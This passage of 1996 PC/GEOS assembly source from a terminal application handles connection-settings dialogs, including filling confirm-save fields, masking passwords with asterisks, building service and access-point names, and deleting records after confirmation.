ERROR_DS_GET_FIELD_SIZE_UPDATE_CONFIRM_SAVE_DATA_FIELDS > mov cx, ax ; set size (bytes) mov ax, es:[IAPLDsToken] call DataStoreGetField EC < ERROR_C ERROR_DS_GET_FIELD_UPDATE_CONFIRM_SAVE_DATA_FIELDS > DBCS < shr cx > ; bytes-->chars length mov dx, es mov bp, di ; set StringBuffer as output target jmp write_out_IAPL_name use_default_IAPL_name: call ProcessNameMoniker mov bp, dx ; set offset mov dx, cx ; set segment clr cx ; null terminated write_out_IAPL_name: mov bx, handle ConfirmSaveDataIAPLName mov si, offset ConfirmSaveDataIAPLName mov di, mask MF_CALL mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR call ObjMessage ; Network ID mov ax, es:[IAPLDsToken] mov dx, IAPL_NETWORK_ID_FIELD_ID clr bx ; use field ID to get field call DataStoreGetFieldSize EC < ERROR_C ERROR_DS_GET_FIELD_SIZE_UPDATE_CONFIRM_SAVE_DATA_FIELDS > mov cx, ax call ClearStringBuffer mov ax, es:[IAPLDsToken] mov di, offset StringBuffer call DataStoreGetField EC < ERROR_C ERROR_DS_GET_FIELD_UPDATE_CONFIRM_SAVE_DATA_FIELDS > if DBCS_PCGEOS shr cx endif ; DBCS_PCGEOS mov bp, di mov bx, handle ConfirmSaveDataNetworkID mov si, offset ConfirmSaveDataNetworkID mov dx, ds mov di, mask MF_CALL mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR call ObjMessage exit_update_csdf: .leave ret UpdateConfirmSaveDataFields endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% UpdateConfirmSaveDetails %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: updates the fields for Connection Save Data AP (details), dialog 3.9. CALLED BY: MSG_TERM_ACTIVATE_SET_TERMINAL PASS: none RETURN: none DESTROYED: none SIDE EFFECTS: PSEUDO CODE/STRATEGY: gets information from the current state (memory), not the datastore, as the changes set may not ahve been stored. Not that this is called from MSG_TERM_ACTIVATE_SET_TERMINAL to save redundant updatings if switching between dialogs 3.8 and 3.9. REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 8/30/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ;CSDDKeyMacroFieldOffsetTable word offset ConfirmSaveDataDetailsKeyMacro1, offset ConfirmSaveDataDetailsKeyMacro2, offset ConfirmSaveDataDetailsKeyMacro3, offset ConfirmSaveDataDetailsKeyMacro4, offset ConfirmSaveDataDetailsKeyMacro5 UpdateConfirmSaveDetails proc near uses ax,bx,cx,dx,si,di,bp .enter ;mov dx, segment Baud300Text ; resource where all strings reside. ; extract baud rate clr bh mov bl, es:[BSDMbyte] ; store data byte into bx mov cl, BSDM_BAUD_RATE_OFFSET shr bx, cl and bx, BSDM_BAUD_RATE_MASK shl bx ; word offset mov dx, cs ; set up target segment ; set the baud mov bp, cs:[baudStringTable][bx] mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov bx, handle ConfirmSaveDataDetailsBaud mov si, offset ConfirmSaveDataDetailsBaud mov di, mask MF_CALL clr cx ; null terminated call ObjMessage ; extract stop bit clr bh mov bl, es:[BSDMbyte] ; store data byte into bx mov cl, BSDM_STOP_BIT_OFFSET shr bx, cl and bx, BSDM_STOP_BIT_MASK shl bx ; word offset mov dx, cs ; set up target segment ; set the baud mov bp, cs:[stopBitStringTable][bx] mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov bx, handle ConfirmSaveDataDetailsStopBits mov si, offset ConfirmSaveDataDetailsStopBits mov di, mask MF_CALL clr cx ; null terminated call ObjMessage ; extract data bit clr bh mov bl, es:[BSDMbyte] ; store data byte into bx mov cl, BSDM_DATA_BIT_OFFSET shr bx, cl and bx, BSDM_DATA_BIT_MASK shl bx ; word offset mov dx, cs ; set up target segment ; set the databit mov bp, cs:[dataBitStringTable][bx] mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov bx, handle ConfirmSaveDataDetailsDataBits mov si, offset ConfirmSaveDataDetailsDataBits mov di, mask MF_CALL clr cx ; null terminated call ObjMessage ; extract combo box clr bh mov bl, es:[CTbyte] ; store data byte into bx mov cl, CT_COMBO_BOX_OFFSET shr bx, cl and bx, CT_COMBO_BOX_MASK shl bx ; word offset mov dx, cs ; set up target segment ; set the combobox ; mov bp, cs:[comboBoxStringTable][bx] ; mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR ; mov bx, handle ConfirmSaveDataDetailsConnectionMethod ; mov si, offset ConfirmSaveDataDetailsConnectionMethod ; mov di, mask MF_CALL ; clr cx ; null terminated ; call ObjMessage ; extract parity clr bh mov bl, es:[PFKbyte] ; store data byte into bx mov cl, PFK_PARITY_BIT_OFFSET shr bx, cl and bx, PFK_PARITY_BIT_MASK shl bx ; word offset mov dx, cs ; set up target segment ; set the parity mov bp, cs:[parityStringTable][bx] mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov bx, handle ConfirmSaveDataDetailsParityBit mov si, offset ConfirmSaveDataDetailsParityBit mov di, mask MF_CALL clr cx ; null terminated call ObjMessage ; extract Terminal clr bh mov bl, es:[CTbyte] ; store data byte into bx mov cl, CT_TERMINAL_OFFSET shr bx, cl and bx, CT_TERMINAL_MASK shl bx ; word offset mov dx, cs ; set up target segment ; set the terminal mov bp, cs:[terminalStringTable][bx] mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov bx, handle ConfirmSaveDataDetailsTerminalType mov si, offset ConfirmSaveDataDetailsTerminalType mov di, mask MF_CALL clr cx ; null terminated call ObjMessage ; extract flow clr bh mov bl, es:[PFKbyte] ; store data byte into bx mov cl, PFK_FLOW_CONTROL_OFFSET shr bx, cl and bx, PFK_FLOW_CONTROL_MASK shl bx ; word offset mov dx, cs ; set up target segment ; set the flow mov bp, cs:[flowStringTable][bx] mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov bx, handle ConfirmSaveDataDetailsFlowControl mov si, offset ConfirmSaveDataDetailsFlowControl mov di, mask MF_CALL clr cx ; null terminated call ObjMessage ; extract kanji code clr bh mov bl, es:[PFKbyte] ; store data byte into bx mov cl, PFK_KANJI_CODE_OFFSET shr bx, cl and bx, PFK_KANJI_CODE_MASK shl bx ; word offset mov dx, cs ; set up target segment ; set the kanji code mov bp, cs:[kanjiFontStringTable][bx] mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov bx, handle ConfirmSaveDataDetailsKanjiFont mov si, offset ConfirmSaveDataDetailsKanjiFont mov di, mask MF_CALL clr cx ; null terminated call ObjMessage ; Now place in key macro text ; Update from the dialog fields ; clr bx ; start at 0 ; mov dx, segment dgroup ; set target buffer StringBuffer ; mov bp, offset StringBuffer ;update_key_macro_loop: ; push bx ; store count ; shl bx ; word offset ; push bx ; store offset ; mov si, cs:[MacroFieldTable][bx] ; mov bx, handle KeyMacro1Field ; mov ax, MSG_VIS_TEXT_GET_ALL_PTR ; mov di, mask MF_CALL ; call ObjMessage ; pop bx ; restore offset ; mov si, cs:[CSDDKeyMacroFieldOffsetTable][bx] ; mov bx, handle ConfirmSaveDataDetailsKeyMacro1 ; mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR ; call ObjMessage ; pop bx ; restore count ; inc bx ; cmp bx, MAX_KEY_MACRO ; jl update_key_macro_loop .leave ret UpdateConfirmSaveDetails endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ProcessBufferIntoPassword %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: given a string length (in terms of characters), places the equivalent string blatted out with '*' in StringBuffer. CALLED BY: UpdateNetworkElementFields PASS: cx = length (in terms of characters) RETURN: String Buffer full of '*' DESTROYED: nothing SIDE EFFECTS: clears StringBuffer and writes '*' into it. PSEUDO CODE/STRATEGY: given a string i.e. "Ultraman", converts it into "********", which is suitable for displaying passwords. This new string is placed into StringBuffer. Loops until it hits a null character REVISION HISTORY: Name Date Description ---- ---- ----------- CEY 8/27/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ProcessBufferIntoPassword proc near uses bx,cx,si,es,bp .enter call ClearStringBuffer mov bx, segment dgroup mov es, bx mov si, offset StringBuffer mov ds, bx process_into_passwd_loop: tst cx jcxz exit_process_string_buffer_into_password continue_process_password: mov {byte} es:[si], STAR_CHAR inc si dec cx if DBCS_PCGEOS mov {byte} es:[si], STAR_CHAR_HIGH inc si endif ; DBCS_PCGEOS jmp process_into_passwd_loop exit_process_string_buffer_into_password: mov {byte} es:[si], NULL_CHAR ; null terminate password if DBCS_PCGEOS mov {byte} es:[si+1], NULL_CHAR_HIGH ; top byte of null char endif ; DBCS_PCGEOS .leave ret ProcessBufferIntoPassword endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% StringBufferCharCount %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: returns the # of characters up to but not including NULL in StringBuffer. If max elements reached, returns max elements. CALLED BY: PASS: none RETURN: cx = char count DESTROYED: cx SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 9/25/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ StringBufferCharCount proc near uses bx,di,es,bp .enter ; set of target segments first mov bx, segment dgroup mov es, bx mov di, offset StringBuffer clr cx sbcc_count_loop: ; check to see if max limit hit. If so, exit out if DBCS_PCGEOS cmp cx, STRING_BUFFER_SIZE / 2 ; size always even else cmp cx, STRING_BUFFER_SIZE endif jz sbcc_exit_loop ; now check to see if char is a null cmp {byte} es:[di], NULL_CHAR if DBCS_PCGEOS jnz sbcc_continue_check ; lo byte correlates to null, now ; check the hi byte of db null char cmp {byte} es:[di+1], 0 jz sbcc_null_char sbcc_continue_check: add di, 2 ; increment by a char (db) else jz sbcc_null_char inc di ; increment by a char (sb) endif inc cx jmp sbcc_count_loop ; continue counting sbcc_null_char: ; inc cx ; count the NULL sbcc_exit_loop: .leave ret StringBufferCharCount endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ProcessNameMoniker %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: concatenates service name and access point into one name CALLED BY: PASS: none RETURN: cx:dx = fptr to Name string DESTROYED: cx, dx SIDE EFFECTS: PSEUDO CODE/STRATEGY: First load the network service into the buffer. Then, pointing to the end of the name in StringBuffer, use that location as the new place to get the string for the access point. REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 9/24/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ProcessNameMoniker proc near uses ax,bx,si,di,bp .enter mov bx, segment dgroup ; set up segment mov es, bx call ClearStringBuffer ; clear string buffer first ; set up argument on the stack sub sp, IAPL_NETWORK_SERVICE_FIELD_SIZE + 1; even to keep swat ; happy ; get the service # mov ax, es:[IAPLDsToken] ; set to IAPL datastore clr bx ; use field ID mov dl, IAPL_NETWORK_SERVICE_FIELD_ID mov di, sp ; point to stack mov cx, IAPL_NETWORK_SERVICE_FIELD_SIZE ; copy data size call DataStoreGetField ; grab text into StringBuffer clr ch mov {byte} cl, ss:[di] ; put service # into cx add sp, IAPL_NETWORK_SERVICE_FIELD_SIZE + 1 ; restore stack ; now get the string offset to the network service shl cx ; word sized offsets mov di, cx ; set for offset mov si, cs:[networkServiceNameTable][di] ; get offset to di ; Now copy the string into the StringBuffer ; Note that a check has to be implemented here to make sure the ; string buffer max size isn't crossed over. ; ; both strings in segment es ; ; di = offset to StringBuffer ; si = offset to service name string ; mov di, offset StringBuffer ; set di to beginning of ; StringBuffer process_Name_copy_loop: cmp {byte} cs:[si], NULL_CHAR ; check to see if bottom byte is ; null if DBCS_PCGEOS jnz continue_process_Name_copy cmp {byte} cs:[si+1], 0 ; check to see if top byte is 0 jz exit_process_Name_copy_loop ; reached null char, so ; finish continue_process_Name_copy: ; else continue copy mov ax, cs:[si] mov es:[di], ax mov ax, cs:[si+1] mov es:[di+1],ax ; increment si, di add si, 2 ; 2 for double byte size add di, 2 jmp process_Name_copy_loop else jz exit_process_Name_copy_loop mov ax, cs:[si] mov es:[di], ax jmp process_Name_copy_loop endif exit_process_Name_copy_loop: ; add in ':' to end of string mov {byte} es:[di], COLON_CHAR inc di if DBCS_PCGEOS mov {byte} es:[di], COLON_CHAR_HIGH inc di endif ; Get length of Access Point string mov bp, di ; set target to end of string in ; StringBuffer. mov ax, es:[AccessPointDsToken] mov dl, ACCESS_POINT_LIST_ACCESS_POINT_FIELD_ID call DataStoreGetFieldSize ; get size EC < ERROR_C ERROR_GET_DS_FIELD_SIZE_PROCESS_NAME_MONIKER > ; Got size, now get the actual data at the end mov cx, ax ; store size into cx mov ax, es:[AccessPointDsToken] if DBCS_PCGEOS shl cx ; bytes here, not characters endif ; DBCS_PCGEOS call DataStoreGetField EC < ERROR_C ERROR_GET_DS_FIELD_PROCESS_NAME_MONIKER > ; now add null character to end add di, cx ; should add error handler to avoid running over StringBuffer size mov {byte} es:[di], NULL_CHAR ; place in NULL if DBCS_PCGEOS mov {byte} es:[di+1], 0 ; for top part of null char (db) endif ; now return string mov cx, es mov dx, offset StringBuffer ; remove Name changes ; Everything set up, so set vis moniker to the StringBuffer ; contents for each dialog from 3.5 on ; point to StringBuffer ; mov cx, es ; mov dx, offset StringBuffer ; mov bp, VUM_DELAYED_VIA_APP_QUEUE ; update mode ; mov bx, handle NetworkElementDialog ; mov si, offset NetworkElementDialog ; clr di ; mov ax, MSG_GEN_REPLACE_VIS_MONIKER_TEXT ; call ObjMessage ; mov cx, es ; mov dx, offset StringBuffer ; mov bp, VUM_DELAYED_VIA_APP_QUEUE ; mov bx, handle SetKeyMacroDialog ; mov si, offset SetKeyMacroDialog ; mov ax, MSG_GEN_REPLACE_VIS_MONIKER_TEXT ; call ObjMessage ; mov cx, es ; mov dx, offset StringBuffer ; mov bp, VUM_DELAYED_VIA_APP_QUEUE ; mov bx, handle ProtocolBox ; mov si, offset ProtocolBox ; mov ax, MSG_GEN_REPLACE_VIS_MONIKER_TEXT ; call ObjMessage ; mov cx, es ; mov dx, offset StringBuffer ; mov bp, VUM_DELAYED_VIA_APP_QUEUE ; mov bx, handle ConfirmSaveDataDialog ; mov si, offset ConfirmSaveDataDialog ; mov ax, MSG_GEN_REPLACE_VIS_MONIKER_TEXT ; call ObjMessage; ; mov cx, es ; mov dx, offset StringBuffer ; mov bp, VUM_DELAYED_VIA_APP_QUEUE ; mov bx, handle ConfirmSaveDataDetailsDialog ; mov si, offset ConfirmSaveDataDetailsDialog ; mov ax, MSG_GEN_REPLACE_VIS_MONIKER_TEXT ; call ObjMessage exit_process_Name_moniker: .leave ret ProcessNameMoniker endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermSetNetworkSelection %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: sets current IAPL record buffer's network selection to selected value. CALLED BY: MSG_TERM_SET_NETWORK_SELECTION PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # cl = index # of selection RETURN: DESTROYED: ax, dx, cx SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- CEY 8/28/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermSetNetworkSelection method dynamic TermClass, MSG_TERM_SET_NETWORK_SELECTION uses bp .enter push es ; store selection onto stack sub sp, IAPL_NETWORK_SERVICE_FIELD_SIZE + 1 mov di, sp ; set target offset mov {byte} ss:[di], cl ; move arg onto stack ; store current network service to IAPL record buffer mov ax, es:[IAPLDsToken] mov dl, IAPL_NETWORK_SERVICE_FIELD_ID mov cx, IAPL_NETWORK_SERVICE_FIELD_SIZE segmov es, ss, bx ; set target segment clr bx ; use field ID call DataStoreSetField ; set the field EC < ERROR_C ERROR_DS_SET_FIELD_SET_NETWORK_SELECTION > add sp, IAPL_NETWORK_SERVICE_FIELD_SIZE + 1 ; restore stack pop es ; restore dgroup ; mov es:[CurrentAccessPoint], 0 ; default to top selection exit_set_network_selection: .leave ret TTermSetNetworkSelection endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SetNetEltDelete %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Using currently loaded access point, determines if it can be deleted or not and sets delete button appropriately. CALLED BY: PASS: none RETURN: none DESTROYED: none SIDE EFFECTS: PSEUDO CODE/STRATEGY: queries UserCreated field of access point. REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 11/18/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetNetEltDelete proc near uses ax,bx,cx,dx,si,di,bp .enter sub sp, SHORT_SIZE ; use stack as target mov di, sp ; set offset to target mov ax, es:[AccessPointDsToken] push es ; save dgroup segmov es, ss, bx ; set segment of target clr bx ; use field id mov cx, 1 ; information is one byte big mov dl, ACCESS_POINT_LIST_USER_CREATED_FIELD_ID call DataStoreGetField EC < ERROR_C ERROR_DS_GET_FIELD_SET_NET_ELT_DELETE > cmp {byte} es:[di], USER_CREATED je user_created_enable_delete ; not user created, disable it mov ax, MSG_GEN_SET_NOT_ENABLED jmp set_net_elt_delete_button user_created_enable_delete: mov ax, MSG_GEN_SET_ENABLED set_net_elt_delete_button: ; set up call variables mov bx, handle NetworkElementDeleteButton mov si, offset NetworkElementDeleteButton mov di, mask MF_CALL mov dl, VUM_DELAYED_VIA_APP_QUEUE ; set visupdate mode ; call ObjMessage to set the state call ObjMessage pop es ; restore dgroup add sp, SHORT_SIZE ; restore stack .leave ret SetNetEltDelete endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermDeleteIaplRecord %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: runs through procedure for deleting IAPL account record in dialog 4.2 (Connection Settings). CALLED BY: MSG_TERM_DELETE_IAPL_RECORD PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: brings up modal dialog to query whether to quit or not, and then performs appropriate action. Afterwards, calls up appropriate dialog. REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 11/18/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermDeleteIaplRecord method dynamic TermClass, MSG_TERM_DELETE_IAPL_RECORD uses ax, cx, dx, bp .enter mov bx, handle DeleteConnectionStr mov bp, offset DeleteConnectionStr call MemLock ; lock string push bx ; save handle push es ; store dgroup mov di, ax ; set segment of error string mov es, ax ; set segment (to grab actual offset) mov bp, es:[bp] ; grab actual offset ; bring up confirmation dialog mov ax, CDT_QUESTION shl offset CDBF_DIALOG_TYPE or \ GIT_AFFIRMATION shl offset CDBF_INTERACTION_TYPE \ or mask CDBF_SYSTEM_MODAL or mask CDBF_DESTRUCTIVE_ACTION ; to bring to top call TermUserStandardDialog pop es ; restore dgroup delete_iapl_debug_flag: pop bx ; restore handle call MemUnlock ; unlock string resource cmp ax, IC_YES jne no_delete_iapl_record ; ok to delete current selection mov ax, es:[IAPLDsToken] clr dx clr ch mov cl, es:[CurrentIAPLSelection] call DataStoreDeleteRecordNum ;EC < ERROR_C ERROR_DS_DELETE_IAPL_RECORD > mov ax, es:[IAPLDsToken] call DataStoreGetRecordCount EC < ERROR_C ERROR_DS_GET_RECORD_COUNT_DELETE_IAPL_RECORD > Assert_srange ax 0 MAX_IAPL_COUNT tst ax jz continue_delete_iapl_record ; no records, so keep ; current selection at 0 ; (since curr selection will ; be 0 anyways before last ; item is deleted). cmp {byte} es:[CurrentIAPLSelection], al ; check to see if ; curr selection jl continue_delete_iapl_record ; is greater than # records dec ax ; count is 1 based, identifier is 0 based mov es:[CurrentIAPLSelection], al ; if so, set curr mov cx, ax ; selection ; to # records continue_delete_iapl_record: call SetCurrIAPLSelection call UpdateConnectionDialog call ActivateConnectionSetting ; update mov ax, es:[IAPLDsToken] call DataStoreDiscardRecord ; discard record jnc exit_term_delete_iapl_record cmp ax, DSDE_RECORD_BUFFER_EMPTY je exit_term_delete_iapl_record ; if buffer already clear, ; Ok, continue. EC < ERROR_C ERROR_DS_DISCARD_RECORD_DELETE_IAPL_RECORD > exit_term_delete_iapl_record: .leave ret no_delete_iapl_record: mov bx, handle ConnectionConfirmDialog mov si, offset ConnectionConfirmDialog mov di, mask MF_CALL mov ax, MSG_GEN_INTERACTION_INITIATE jmp exit_term_delete_iapl_record TTermDeleteIaplRecord endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermDeleteAccessPoint %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: MSG_TERM_DELETE_ACCESS_POINT PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 11/18/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermDeleteAccessPoint method dynamic TermClass, MSG_TERM_DELETE_ACCESS_POINT uses ax, cx, dx, bp .enter GetResourceHandleNS DeleteAccessPointStr, bx mov bp, offset DeleteAccessPointStr call MemLock ; lock string push bx ; save handle push es ; store dgroup mov di, ax ; set segment of error string mov es, ax ; set segment (to grab actual offset) mov bp, es:[bp] ; grab actual offset ; bring up confirmation dialog mov ax, CDT_QUESTION shl offset CDBF_DIALOG_TYPE or \ GIT_AFFIRMATION shl offset CDBF_INTERACTION_TYPE \ or mask CDBF_SYSTEM_MODAL or mask CDBF_DESTRUCTIVE_ACTION ; to bring to top call TermUserStandardDialog pop es ; restore dgroup delete_iapl_debug_flag: pop bx ; restore handle call MemUnlock ; unlock string resource cmp ax, IC_YES jne no_delete_acc_pt_record ; ok to delete current selection mov ax, es:[AccessPointDsToken] clr dx mov cx, es:[CurrentAccessPoint] call DataStoreDeleteRecordNum mov ax, es:[AccessPointDsToken] call DataStoreGetRecordCount EC < ERROR_C ERROR_DS_GET_RECORD_COUNT_DELETE_ACC_PT_RECORD > tst ax jz continue_delete_acc_pt_record ; if no access points, just ; continue. cmp es:[CurrentAccessPoint], ax ; make sure jl continue_delete_acc_pt_record ; CurrentAccessPoint !> ; actual # records dec ax ; count 1 based, identifier 0 based mov es:[CurrentAccessPoint],ax ; If so, set to current max continue_delete_acc_pt_record: call InitializeNetworkElement ; bring up network element ; dialog exit_term_delete_acc_pt_record: .leave ret no_delete_acc_pt_record: mov bx, handle NetworkElementDialog mov si, offset NetworkElementDialog mov di, mask MF_CALL mov ax, MSG_GEN_INTERACTION_INITIATE jmp exit_term_delete_acc_pt_record TTermDeleteAccessPoint endm ; ---------------------------------------------------------------------- ; ; routines for handling ; state information ; ; ---------------------------------------------------------------------- COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SetCurrentIAPLSelection %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: sets current network service (CurrentNetworkService). CALLED BY: MSG_TERM_SET_IAPL_SELECTION PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # cx = selection # RETURN: DESTROYED: es SIDE EFFECTS: Sets the current network service to the selected value, passed by the GenDynamicList. Also updates the dialogs for connection confirm/setting. Loads in IAPL record and opens corresponding service. Loads in first access point record of service datastore as well. PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- CEY 8/ 6/96 Initial version eyeh 9/27/96 Loads IAPL and access point info into record buffer now. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetCurrentIAPLSelection method dynamic TermClass, MSG_TERM_SET_IAPL_SELECTION mov ax, es:[IAPLDsToken] call DataStoreDiscardRecord ; discard previous record mov {byte} es:[CurrentIAPLSelection], cl call SetCurrIAPLSelection call UpdateConnectionDialog ; update dialogs mov ax, es:[IAPLDsToken] call DataStoreDiscardRecord ; discard record ret SetCurrentIAPLSelection endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SetCurrIAPLSelection %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Given selection #, loads that IAPL record into the buffer, closing old accpt datastore and opening new one corresonding to its service. CALLED BY: SetCurrentIAPLSelection, TermConnectButtonHit PASS: cx = selection # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: loads the record corresponding to the CurrentIAPLSelection. Also loads in its service datastore, discarding previous datastore. Also resets CurretnAccessPoint selection to 0 (default focus to top). REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 9/27/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetCurrIAPLSelection proc near uses ax,bx,cx,dx,di,bp, es .enter ; set up segment mov bx, segment dgroup mov es, bx ; check to see if IAPL contains any records. If none, just skip ; ahead to UpdateConnectionDialog, which clears fields. mov ax, es:[IAPLDsToken] call DataStoreGetRecordCount EC < ERROR_C ERROR_DS_GET_RECORD_COUNT_SET_CURRENT_IAPL_SELECTION > cmp ax, 0 jz exit_set_curr_iap_selection ; else records exist and load in new IAPL selection mov ax, es:[IAPLDsToken] clr dx ; gendynamiclists can't handle call DataStoreLoadRecordNum ; that many items, so clear dx. EC < ERROR_C ERROR_LOAD_RECORD_SET_CURRENT_IAPL_SELECTION > ; get network service # sub sp, IAPL_NETWORK_SERVICE_FIELD_SIZE + 1 ; set stack as target mov di, sp ; set target offset mov dx, IAPL_NETWORK_SERVICE_FIELD_ID segmov es, ss, bx ; set up target segment clr bx ; use field ID's only mov cx, IAPL_NETWORK_SERVICE_FIELD_SIZE mov ax, es:[IAPLDsToken] call DataStoreGetField EC < ERROR_C ERROR_GET_FIELD_SET_CURR_IAPL_SELECTION > mov {byte} bl, ss:[di] ; store network service into bx (used by ; OpenService call). add sp, IAPL_NETWORK_SERVICE_FIELD_SIZE + 1 ; restore stack call OpenService ; open up the associated access point exit_set_curr_iap_selection: .leave ret SetCurrIAPLSelection endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermSetAccessPoint %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Given accpt record in buffer, sets CurrentAccessPoint and loads that accpt record into the buffer, discarding previous record if any. CALLED BY: MSG_TERM_SET_ACCESS_POINT PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # cx = selection # RETURN: DESTROYED: everything (irrelevant) SIDE EFFECTS: PSEUDO CODE/STRATEGY: Sets current access point to selected value (in the genDynamicList) and loads in the new record, discarding the old access point record. This discards the new record, since the only point where an access point is committed to the buffer is going between 3.5 and 3.6 In addition, it updates the access point reference pointer for the current IAPL record. Also checks the status of the access point currently selected. If it is user created, keeps delete button enabled, otherwise 